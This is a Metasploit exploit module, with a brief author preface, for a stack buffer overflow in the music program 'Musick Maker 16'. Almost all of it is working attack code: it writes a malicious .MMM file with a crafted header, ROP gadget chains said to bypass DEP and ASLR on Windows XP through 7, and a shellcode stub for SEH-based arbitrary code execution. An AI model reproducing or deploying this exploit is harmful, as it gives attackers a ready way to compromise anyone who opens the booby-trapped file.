---
My version of exploit...
Looks like bug the same as in:
http://www.exploit-db.com/exploits/17313/
My exploit does not use egg-hunter,so it must be faster, but i have limited size for payload -
750 bytes 8)
Speed Vs Size...
---
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Musick Maker 16, Stack Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in Musick Maker 16
When opening a malicious .MMM file in Music Maker, a stack buffer occurs,
resulting in arbitrary code execution via SEH.
This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Alexey Sintsov',
],
'Version'=> '$Revision: 12364 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'BadChars' => "\x00",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets'=>
[
[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
{
'Ret'=> 0x20012026,
'Size' => 750
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 02 2011',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.mmm']),
], self.class)
end
def exploit
badchars = target['BadChars']
print_status("Creating '#{datastore['FILENAME']}' file ...")
print_status("Preparing payload")
aaa_header="\x52\x49\x46\x46\xE6\x9D\x06\x00\x53\x45\x4B\x44\x53\x56\x49\x50"+
"\x10\x07\x00\x00\x9B\x5B\x6E\x00\x00\x00\x00\x00\x11\x00\x00\x00"+
"\x08\x00\x00\x00\x44\xAC\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x39\x40\x00\x00\xF0\x42\x00\x00\x00\x00\xBD\x04\xEF\xFE"+
"\x00\x00\x01\x00\x00\x00\x10\x00\x06\x00\x00\x00\x00\x00\x10\x00"+
"\x06\x00\x00\x00\x3F\x00\x00\x00\x28\x00\x00\x00\x04\x00\x04\x00"+
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\xF3\x8E\x32\x01\xD0\x02\x00\x00\x40\x02\x00\x00\x55\x55\x55\x55"+
"\x55\x55\xF5\x3F\x10\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"+
"\xFF\xFF\xFF\xFF"
aaa_list="\x4C\x49\x53\x54\x04\x25\x02\x00\x70\x68\x79\x73\x66\x69\x6C\x65\xF8\x08"
rop_pivot =
[
0x20012026,
].pack("V*")
rop_nop =
[
0x1FF727C6,
].pack("V*")
rop_jmp =
[
0x2001DD16,
].pack("V*")
rop_gadgets2 =
[
0x1FFFB8D9,
0x1FF727C5,
0xffffffff,
0x20048546,
0x1FFA82EF,
0x1FFAF154,
0x1FFFB8D9,
0x1FFA817E,
0xAAAAAAAA,
0xAAAAAAAA,
0xAAAAAAAA,
0xAAAAAAAA,
0x1FFFB8D9,
0xBBBBBBBB,
0xBBBBBBBB,
0xBBBBBBBB,
0x1FF72620,
0xAAAAAAAA,
0x1FFFB8D9,
0x2004A8C1,
0x31313131,
0x32323232,
0x33333333,
0x34343434,
0x2001215B,
].pack("V*")
rop_gadgets =
[
0x1FFFB8D9,
0x1FF95F45,
0x1FFA82EF,
0x11111111,
0x22222222,
0xFFFFFc74,
0x200263f5,
0x1FF74212,
0x33333333,
0x1FF939F2,
0x1FF95F45,
0x44444444,
0x1FFFB8D9,
0x44444444,
0x55555555,
0x1FF727C5,
0xffffff10,
0x20048546,
0x2003C7AD,
0x66666666,
0x1FF95F45,
0x1FF891C4,
0x77777777,
0x88888888,
0x1FFA883A,
0x1FF7519F,
0x1FFFB8D9,
0x1FF727C5,
0xffffffd0,
0x20048546,
0x2003C7AD,
0x99999999,
0x1FF95F45,
0x1FF9EAF7,
0xaaaaaaaa,
0xbbbbbbbb,
0x1FFA82EF,
0xffffefff,
0x200263f5,
0x1FFA0231,
0x1FFFB8D9,
0x1FF727C5,
0xffffffff,
0x20048546,
0x2003C7AD,
0xcccccccc,
0x1FF751A0,
0x1FF751A0,
0x1FF751A0,
0x1FF751A0,
0x1FF751A0,
0x1FF751A0,
0x1FF751A0,
0x1FF751A0,
0x1FF95F45,
0x1FF891C4,
0xdddddddd,
0xdddddddd,
0x1FF727C5,
0xffffffff,
0x20033FB9,
0x1FFA883A,
0x1FF7519F,
0x1FFFB8D9,
0x20048546,
0x2003C7AD,
0xeeeeeeee,
0x1FF9EAF7,
0x1FF727C5,
0xFFFFFFAC,
0x1FF75190,
0x2004387F,
].pack("V*")
shell_jmp="\x87\xe5"+
"\x33\xc0"+
"\x04\x40"+
"\x50"+
"\x33\xc0"+
"\xb4\x10"+
"\x50"+
"\x8b\xc5"+
"\x33\xc9"+
"\xb5\x05"+
"\xb1\xee"+
"\x2b\xc1"+
"\x51"+
"\x50"+
"\x8b\xf8"+
"\xb9\x60\xf1\xfa\x1f"+
"\xff\x11"+
"\xff\xe7"
pivot = [target.ret].pack('V')
shellcode=payload.encoded
nops = make_nops(8)
aaa_data = aaa_header
aaa_data << "\x00"*1680
aaa_data << aaa_list
aaa_data << "\x00"*25
aaa_data << "C:\\aaa\\"
aaa_data << shellcode
aaa_data << "a"*(target['Size']-shellcode.length)
aaa_data << "a"*328
aaa_data << "\x00"*16
aaa_data << "x"*320
aaa_data << rop_gadgets2
aaa_data << shell_jmp
aaa_data << "a"*61
aaa_data << rop_jmp*32
aaa_data << "a"*16
aaa_data << [target.ret].pack('V')
aaa_data << rop_nop*10
aaa_data << rop_gadgets
aaa_data << "a"*31337
print_status("Writing payload to file, " + aaa_data.length.to_s()+" bytes")
if shellcode.length>target['Size']
print_status("ERROR, too big payload!")
else
file_create(aaa_data)
end
end
end